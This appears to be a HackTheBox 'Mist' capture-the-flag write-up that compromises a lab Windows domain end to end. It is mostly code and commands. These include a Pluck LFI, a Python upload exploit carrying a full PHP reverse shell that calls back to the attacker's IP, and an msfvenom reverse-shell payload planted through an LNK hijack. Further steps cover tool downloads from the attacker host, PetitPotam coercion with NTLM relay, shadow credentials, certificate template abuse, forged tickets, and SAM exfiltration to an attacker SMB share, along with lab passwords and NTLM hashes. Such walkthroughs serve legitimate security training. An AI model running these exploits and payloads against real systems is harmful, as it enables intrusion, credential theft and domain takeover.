Post

HackTheBox Mist Writeup

Explore the fundamentals of cybersecurity in the Mist Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.17 mist.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.17"
domain="mist.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV mist.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for mist.htb (10.10.11.17)
Host is up (0.055s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: Mist - Mist
|_Requested resource was http://mist.htb/?file=mist
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/

CVE-2024-9405 Pluck LFI

1
curl "http://10.10.11.17/data/modules/albums/albums_getimage.php?image=admin_backup.php"

Brute Force the Hash

Use an hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 1700 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 1700 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Pluck Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#!/bin/env python3
import os
import argparse
import requests
import subprocess
from zipfile import ZipFile
from requests_toolbelt.multipart.encoder import MultipartEncoder

def get_tun0_ip():
    try:
        result = subprocess.run(
            ["sh", "-c", r"ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}'"],
            stdout=subprocess.PIPE,
            text=True
        )
        ip_address = result.stdout.strip()
        return ip_address if ip_address else None
    except Exception as e:
        print(f"Error getting tun0 IP: {e}")
        return None

theme_content = f"""
<?php
class Shell {{
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;
    private $clen    = 0; 
    private $error   = false;
    public function __construct($addr, $port) {{
        $this->addr = $addr;
        $this->port = $port;
    }}
    private function detect() {{
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) {{
            $this->os    = 'LINUX';
            $this->shell = 'powershell';
        }} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {{
            $this->os    = 'WINDOWS';
            $this->shell = 'powershell.exe';
        }} else {{
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }}
        return $detected;
    }}
    private function daemonize() {{
        $exit = false;
        if (!function_exists('pcntl_fork')) {{
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        }} else if (($pid = @pcntl_fork()) < 0) {{
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        }} else if ($pid > 0) {{
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        }} else if (posix_setsid() < 0) {{
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        }} else {{
            echo "DAEMONIZE: Completed successfully!\n";
        }}
        return $exit;
    }}
    private function settings() {{
        @error_reporting(0);
        @set_time_limit(0);
        @umask(0);
    }}
    private function dump($data) {{
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }}
    private function read($stream, $name, $buffer) {{
        if (($data = @fread($stream, $buffer)) === false) {{
            $this->error = true;
            echo "STRM_ERROR: Cannot read from ${{name}}, script will now exit...\n";
        }}
        return $data;
    }}
    private function write($stream, $name, $data) {{
        if (($bytes = @fwrite($stream, $data)) === false) {{
            $this->error = true;
            echo "STRM_ERROR: Cannot write to ${{name}}, script will now exit...\n";
        }}
        return $bytes;
    }}
    private function rw($input, $output, $iname, $oname) {{
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {{
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') {{ $this->clen += strlen($data); }}
            $this->dump($data);
        }}
    }}
    private function brw($input, $output, $iname, $oname) {{
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {{
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {{
                $this->clen -= $bytes;
                $size -= $bytes;
            }}
        }}
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {{
            $size -= $bytes;
            $this->dump($data);
        }}
    }}
    public function run() {{
        if ($this->detect() && !$this->daemonize()) {{
            $this->settings();
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {{
                echo "SOC_ERROR: {{$errno}}: {{$errstr}}\n";
            }} else {{
                stream_set_blocking($socket, false);
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {{
                    echo "PROC_ERROR: Cannot start the shell\n";
                }} else {{
                    foreach ($pipes as $pipe) {{
                        stream_set_blocking($pipe, false);
                    }}
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {{
						$status = proc_get_status($process);
                        if (feof($socket)) {{ // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        }} else if (feof($pipes[1]) || !$status['running']) {{
                            echo "PROC_ERROR: Shell process has been terminated\n";   break;
                        }}
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {{
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        }} else if ($num_changed_streams > 0) {{
                            if ($this->os === 'LINUX') {{
                                if (in_array($socket  , $streams['read'])) {{ $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); }} // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) {{ $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); }} // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) {{ $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); }} // read from STDOUT and write to SOCKET
                            }} else if ($this->os === 'WINDOWS') {{
                                if (in_array($socket, $streams['read'])/*------*/) {{ $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); }} // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) {{ $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); }} // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) {{ $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); }} // read from STDOUT and write to SOCKET
                            }}
                        }}
                    }} while (!$this->error);
                    foreach ($pipes as $pipe) {{
                        fclose($pipe);
                    }}
                    proc_close($process);
                }}
                fclose($socket);
            }}
        }}
    }}
}}
echo '<pre>';
$sh = new Shell('{ get_tun0_ip() }', 9001);
$sh->run();
unset($sh);
echo '</pre>';
?>
"""

theme_info = "<?php $themedir = 'pwned'; $themename = 'pwned'; ?>"

session = requests.Session()

def login(url,psw):
    LOGIN_URL = url + "login.php"
    headers = {"Referer": LOGIN_URL}
    data = {'cont1': psw, 'bogus': '', 'submit': 'Log in'}
    response = session.post(LOGIN_URL, headers=headers, data=data)
    if response.status_code == 200:
        print("[+] Login successful")
        return True
    else:
        print("[-] Login problem. response code:", response.status_code)
        return False

def theme_zip(name):
    WEBSHELL_PATH = './theme.php'
    INFO_PHP_PATH = './info.php'
    with open(WEBSHELL_PATH, 'w') as file:
        file.write(theme_content)
    with open(INFO_PHP_PATH, 'w') as file:
        file.write(theme_info)
    with ZipFile(name + '.zip', 'w') as zipf:
        zipf.write(WEBSHELL_PATH)
        zipf.write(INFO_PHP_PATH)
    print("[+] Theme Zipped")

def module_zip(name):
    WEBSHELL_PATH = f'./{name}/{name}.php'
    os.makedirs(name, exist_ok=True)
    with open(WEBSHELL_PATH, 'w') as file:
        file.write(theme_content)
    with ZipFile(f'{name}.zip', 'w') as zipf:
        zipf.write(WEBSHELL_PATH, arcname=os.path.join(f'{name}/', name + '.php'))
    print("[+] Module Zipped")

def theme_set(url,name):
    THEME_URL = url + "admin.php?action=theme"
    headers = {"Referer": THEME_URL}
    data = {'cont1': name, 'save': 'Save'}
    response = session.post(THEME_URL, headers=headers, data=data)
    if response.status_code == 200:
        print("[+] Theme setup successful")
        return True
    else:
        print("[-] Theme setup problem. Response code:", response.status_code)
        return False

def theme_check(url, name):
    response = session.get(url + "/data/themes/" + name + "/")
    return response.status_code == 200

def lfi(url, file):
    response = session.post(url + 'data/modules/albums/albums_getimage.php?image=' + file)
    if response.status_code == 200:
        print(response.text)
    else:
        print(f"[-] Failed to LFI. Status code: {response.status_code}")

def upload(url, name, action):
    UPLOAD_URL = url + "admin.php?action=" + action
    with open(name + '.zip', 'rb') as file:
        multipart_data = MultipartEncoder(
            fields={
                'sendfile': (name + '.zip', file, 'application/zip'),
                'submit': 'Upload'
            }
        )
        headers = {
            "Referer": UPLOAD_URL,
            'Content-Type': multipart_data.content_type
        }
        response = session.post(UPLOAD_URL, headers=headers, data=multipart_data)
        if response.status_code == 200:
            print("[+] Upload successful")
            return True
        else:
            print("[-] Upload problem. Response code:", response.status_code)
            return False

def run(url, path):
    response = session.post(url + path)
    if response.status_code == 200:
        print(response.text)
    else:
        print(f"[-] Failed to execute command. Status code: {response.status_code}")

if __name__ == '__main__':
    try:
        parser = argparse.ArgumentParser(description="Manage theme installation and operations.")
        parser.add_argument('-n', '--name', default='pwn', help='Name of the theme to process.')
        parser.add_argument('-u', '--url', required=True, help='Url of the pluck website.')
        parser.add_argument('-p', '--password', required=True, help='Password for login authentication.')
        parser.add_argument('-r', '--rev', action='store_true', help='Activate reverse shell PHP to tun0:9001.')
        parser.add_argument('-t', '--type', choices=['theme', 'module'], default='module', help='Specify the upload type.')
        args = parser.parse_args()
        login(args.url,args.password)
        print("[+] "+ args.url + 'admin_backup.php')
        lfi(args.url ,'admin_backup.php')
        if args.type == 'theme':
            theme_zip(args.name)
        elif args.type == 'module':
            module_zip(args.name)
        if args.rev:
            while not theme_check(args.url ,args.name):
                if args.type == 'theme':
                    upload(args.url ,args.name, 'themeinstall')
                    theme_set(args.url ,args.name)
                    run(args.url, '')
                else:
                    upload(args.url ,args.name, 'installmodule')
                    run(args.url,'data/modules/' + args.name + '/' + args.name + '.php')
    except KeyboardInterrupt:
        print("[-] Exit")
        exit(0)
1
rlwrap nc -lvnp 9001

Note: Avoid -t theme; it overwrites the main webpage, making the site unusable for others. Use the default module upload for safer changes.

1
2
3
4
mkdir mist
cd mist
nano rce.py
python rce.py -p lexypoo97 -u 'http://10.10.11.17/' -r

After Inspecting dirs in the target

1
2
3
net share
net view \\MS01 
dir "\\MS01\Common Applications"

LNK Hijack

Gen a Payload in your machine:

1
2
msfvenom -p windows/x64/shell_reverse_tcp -f exe  LHOST=tun0 LPORT=9002 -o debug.exe
python -m http.server

Listener:

1
rlwrap nc -lvnp 9002

In the Target:

1
2
cd \xampp\htdocs\files
wget 10.10.14.17:8000/debug.exe -o debug.exe

https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk

1
2
3
4
$objShell = New-Object -ComObject WScript.Shell;
$lnk = $objShell.CreateShortcut("C:\Common Applications\Calculator.lnk");
$lnk.TargetPath = "C:\xampp\htdocs\files\debug.exe";
$lnk.Save();

View if its infected:

1
type "c:\Common Applications\Calculator.lnk"

Now wait like 120s for 9002 to get the connection back

CA Certificates

1
2
3
4
5
cd \xampp\htdocs\files
curl 10.10.14.17:8000/Certify.exe -o Certify.exe
.\Certify.exe cas /ca:DC01\mist-DC01-CA 
.\Certify.exe find ca:DC01\mist-DC01-CA 
.\Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User

as said by the promt convert with openssl in your local machine

1
2
3
nano cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
python -m http.server 8001

Silver ticket

In the Target:

1
2
3
curl 10.10.14.17:8001/cert.pfx -o cert.pfx
curl 10.10.14.17:8000/Rubeus.exe -o Rubeus.exe
.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:C:\xampp\htdocs\files\cert.pfx /getcredentials /show /nowrap 

and you get the NTLM Hash DB03D6A77A2205BC1D07082740626CC9 for mist\brandon.keywarp.

WebDav Enable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <windows.h>
#include <evntprov.h>
#include <stdio.h> 
ULONG EVNTAPI EventRegister(LPCGUID ProviderId, PENABLECALLBACK EnableCallback, PVOID CallbackContext, PREGHANDLE RegHandle);
ULONG EVNTAPI EventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData);
ULONG EVNTAPI EventUnregister(REGHANDLE RegHandle);

typedef struct {
    char *original;
    char *buffer;  
    int length;    
    int size;      
} datap;

typedef struct {
    char *original;
    char *buffer;  
    int length;    
    int size;      
} formatp;

#define CALLBACK_OUTPUT      0x0
#define CALLBACK_OUTPUT_OEM  0x1e
#define CALLBACK_ERROR       0x0d
#define CALLBACK_OUTPUT_UTF8 0x20

void BeaconPrintf(int type, const char *fmt, ...) {
    va_list args;
    va_start(args, fmt);
    vprintf(fmt, args);
    va_end(args);
}

BOOL BeaconUseToken(HANDLE token) {
    return SetThreadToken(NULL, token);
}

void BeaconRevertToken() {
    RevertToSelf();
}

BOOL BeaconIsAdmin() {
    BOOL isAdmin = FALSE;
    PSID adminGroup;
    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
    if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
                                 DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
        CheckTokenMembership(NULL, adminGroup, &isAdmin);
        FreeSid(adminGroup);
    }
    return isAdmin;
}

VOID go(IN PCHAR Args, IN ULONG Length) {
    ULONG status = ERROR_SUCCESS;
    REGHANDLE RegistrationHandle;
    EVENT_DESCRIPTOR EventDescriptor;
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = 
        { 0x22B6D684, 0xFA63, 0x4578, 
        { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
    status = EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, &RegistrationHandle);
    if (status != ERROR_SUCCESS) {
        BeaconPrintf(CALLBACK_ERROR, "EventRegister failed with error value %lu\n", status);
        return;
    }
    EventDescCreate(&EventDescriptor, 1, 0, 0, 4, 0, 0, 0);
    status = EventWrite(RegistrationHandle, &EventDescriptor, 0, NULL);
    if (status != ERROR_SUCCESS) {
        BeaconPrintf(CALLBACK_ERROR, "EventWrite failed with 0x%x\n", status);
        return;
    }
    EventUnregister(RegistrationHandle);
    BeaconPrintf(CALLBACK_OUTPUT, "[+] WebClient service started successfully.\n");
}

int main() {
    go(NULL, 0);
    return 0;
}

In your Machine:

1
2
3
4
mkdir webdav
nano webdav.c
x86_64-w64-mingw32-gcc -o webdav.exe webdav.c -ladvapi32 -mconsole
python -m http.server 8001

On the Target 9002:

1
2
3
4
5
cd \xampp\htdocs\files
powershell
curl 10.10.14.17:8001/webdav.exe -o webdav.exe
Install-WindowsFeature WebDAV-Redirector
.\webdav.exe

On the Target 9001:

1
Get-Service WebClient

When using tools like PetitPotam and ntlmrelayx, always check and start WebDAV first to ensure it’s running properly.

Chisel Forwarding

In the Local:

1
2
3
chisel server -p 9999 --reverse
chisel server -p 4444 --reverse
socat tcp-listen:8080,reuseaddr,fork tcp:10.10.14.17:80

In the Target:

1
2
3
4
5
6
7
8
powershell
net user
cd \xampp\htdocs\files
curl http://10.10.14.17:8000/chisel.exe -o chisel.exe
Get-Process | Where-Object {$_.ProcessName -like "chisel"} | Stop-Process -Force
Start-Process -FilePath ".\chisel.exe" -ArgumentList "client 10.10.14.17:9999 R:socks" -WindowStyle Hidden
Start-Process -FilePath ".\chisel.exe" -ArgumentList "client 10.10.14.17:4444 8080:10.10.14.17:8080" -WindowStyle Hidden
gci Cert:\CurrentUser\UserDS\ | select * 

install proxychains and sudo nano /etc/proxychains.conf in the last line socks5 127.0.0.1 1080

test connection using the previously discussed hash

1
sudo proxychains netexec smb 192.168.100.100 -u 'brandon.keywarp' -H "DB03D6A77A2205BC1D07082740626CC9"

PetitPotam

in your machine

1
2
wget https://raw.githubusercontent.com/topotam/PetitPotam/refs/heads/main/PetitPotam.py
proxychains python3 PetitPotam.py -u 'brandon.keywarp' -hashes ':DB03D6A77A2205BC1D07082740626CC9' -pipe all -d mist.htb 10.10.14.17 192.168.100.101
1
sudo responder -I tun0 -dwv

Shut down ‘responder’ after verifying the connection, as it was used only for testing purposes.

Impacket Pull Request 1402 (Shadow Credentials)

  • Fortra’s Impacket Pull 1402 introduces set_shadow_creds and clear_shadow_creds functions, enabling advanced manipulation of Active Directory objects.

  • Impacket fork includes these features in the branch interactive-ldap-shadow-creds.

1
2
3
4
5
6
7
git clone https://github.com/Tw1sm/impacket.git -b interactive-ldap-shadow-creds
cd impacket
python -m venv venv
source venv/bin/activate
pip install .
pip install pyOpenSSL==24.0.0
sudo PYTHONPATH=$(echo $VIRTUAL_ENV/lib/python*/site-packages) proxychains python3 ./examples/ntlmrelayx.py -t ldaps://192.168.100.100 --delegate-access -i
1
proxychains python3 PetitPotam.py -u Brandon.Keywarp -d mist.htb -hashes :DB03D6A77A2205BC1D07082740626CC9 "ms01@8080/test" 192.168.100.101 -pipe all
1
rlwrap nc -nv 127.0.0.1 11000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# clear_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

Shadow credentials cleared successfully!

# set_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

KeyCredential generated with DeviceID: 8bf7ec3e-23ca-7c4c-a703-f255f9449a98
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: 7EHwTVnZ.pfx
Must be used with password: YdKyMslQtN7VlDfceLZJ

To run this sequence quickly, launch WebDAV, start ntlmrelayx, trigger PetitPotam to coerce NTLM authentication, and immediately use pkinit with your specific .pfx and password to grab the Kerberos ticket. Using tmux for session handling and rlwrap for smoother command input/output will help keep the flow uninterrupted, as timing is critical for this chain to succeed.

Get the ticket with pkinit

1
sudo proxychains gettgtpkinit -cert-pfx $(pwd)/jdfNKNFB.pfx -pfx-pass "oVv1twDcTaadrgN2iovX" MIST.HTB/MS01$ ms01.ccache -dc-ip 192.168.100.100 -v

From this point onward, you can proceed calmly.

1
2
export KRB5CCNAME=ms01.ccache
sudo proxychains getnthash mist.htb/svc_cabackup -key <key from gettgtpkinit>

Output:

1
40a247e6c71d823a03265c51bda949c8

Use ticketer & netexec:

1
2
3
ticketer.py -nthash 40a247e6c71d823a03265c51bda949c8 -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -domain mist.htb -dc-ip 192.168.100.100 -spn HOST/MS01.mist.htb administrator
export KRB5CCNAME=administrator.ccache
proxychains nxc smb 192.168.100.101 --use-kcache --sam

Output:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:711e6a685af1c31c4029c3c7681dd97b:::

Note: proxychains secretsdump.py -k -no-pass administrator@ms01.mist.htb retrieves the plaintext password for svc_web, but it’s not necessary.

Now you can use the hash:

1
proxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b
1
type '\Users\Administrator\Desktop\user.txt'

Now op_sharon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tree /a /f \Users\Sharon.Mullard
C:\USERS\SHARON.MULLARD
+---Desktop
+---Documents
|       sharon.kdbx  <-- Keepass database 
|
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
|       cats.png
|       image_20022024.png
|
+---Saved Games
\---Videos

The files image_20022024.png and cats.png offer clues suggesting hashcat use, with the password possibly starting as “UA7cpa[#1!_*ZX”—valuable for password cracking.

1
proxychains evil-winrm -i 192.168.100.101 -u administrator -H 711e6a685af1c31c4029c3c7681dd97b
1
download 'C:\USERS\SHARON.MULLARD\Documents\sharon.kdbx'

Now in your local machine:

1
2
3
file sharon.kdbx 
keepass2john sharon.kdbx > sharon_kdbx.hash
hashcat -a 3 -m 13400 --increment --increment-min 14 --increment-max 20 sharon_kdbx.hash 'UA7cpa[#1!_*ZX?a' --user

You will get UA7cpa[#1!_*ZX@

Use kpcli --kdb sharon.kdbx, enter the password, and run show -f 0 to display entries. Or, install KeePassXC to open sharon.kdbx with the found password.

And you will get the actuall password ImTiredOfThisJob:(.

1
proxychains evil-winrm -u "OP_SHARON.MULLARD" -p 'ImTiredOfThisJob:(' -i 192.168.100.100

Now Root flag

1
sudo proxychains netexec ldap 192.168.100.100 -u op_Sharon.Mullard -p "ImTiredOfThisJob:(" --gmsa

You will get NTLM 07bb1cde74ed154fcec836bc1122bdcc of svc_ca$

https://github.com/ShutdownRepo/pywhisker

1
2
3
4
git clone https://github.com/0xPreDa/pywhisker
cd pywhisker
pipx ensurepath
pipx install .

PS: When I used it, I switched to the 0xPreDa fork due to an unresolved pull request, but it’s probably already fixed.

1
proxychains pywhisker -d "mist.htb" --dc-ip 192.168.100.100 -u 'svc_ca$' -H "07BB1CDE74ED154FCEC836BC1122BDCC" -t "svc_cabackup" --action "add"

replace with your id and random pass

1
2
3
sudo proxychains gettgtpkinit -cert-pfx "$(pwd)/Jv5N61Jv.pfx" -pfx-pass "gEwqpXOIKAwCOPcgrzvc" MIST.HTB/svc_cabackup svc_cabackup.ccache -dc-ip 192.168.100.100 -v
export KRB5CCNAME=./svc_cabackup.ccache
proxychains getnthash mist.htb/svc_cabackup -key <pkinit key>

with this you get c9872f1bc10bdd522c12fc2ac9041b64.

ManagerAuthentication CA

1
2
3
pipx install certipy-ad
proxychains certipy req -u "svc_cabackup@mist.htb" -hashes ":c9872f1bc10bdd522c12fc2ac9041b64" -template ManagerAuthentication -ca mist-DC01-CA -target dc01.mist.htb -key-size 4096 -dns-tcp -dc-ip 192.168.100.100
proxychains -q certipy req -u svc_cabackup -hashes c9872f1bc10bdd522c12fc2ac9041b64 -ca 'mist-DC01-CA' -template ManagerAuthentication -dc-ip 192.168.100.100 -dns-tcp -key-size 4096

Note: If you encounter the error [-] Got error: The NETBIOS connection with the remote host timed out, simply try running the command again, as this error often occurs due to transient network connectivity issues.

Smb Sever

smb server in your local pc to retrive sam:

1
2
3
mkdir smb
cd smb
sudo smbserver.py -smb2support pwn .

Retrive SAM

1
2
3
proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx
export KRB5CCNAME=svc_cabackup.ccache
proxychains -q certipy  req -k -no-pass -ca 'mist-DC01-CA' -template 'BackupSvcAuthentication' -dc-ip dc01.mist.htb -ns 192.168.100.100 -dns-tcp  -key-size 4096
1
2
3
proxychains -q certipy auth -dc-ip 192.168.100.100 -pfx svc_cabackup.pfx
export KRB5CCNAME=svc_cabackup.ccache
proxychains -q reg.py 'mist.htb/svc_cabackup@dc01.mist.htb' -k -no-pass -dc-ip 192.168.100.100 backup -o '\\10.10.14.17\pwn'
1
secretsdump.py -sam SAM.save -security security.save -system SYSTEM.save LOCAL

Final Steps

Test the hash:

1
sudo proxychains netexec smb 192.168.100.100 -u "DC01\$" -H "e768c4cf883a87ba9e96278990292260"
1
proxychains secretsdump.py -hashes ":e768c4cf883a87ba9e96278990292260" DC01\$@192.168.100.100
1
proxychains evil-winrm -u administrator -H  'b46782b9365344abdff1a925601e0385' -i 192.168.100.100
1
type \Users\Administrator\desktop\root.txt 
This post is licensed under CC BY 4.0 by the author.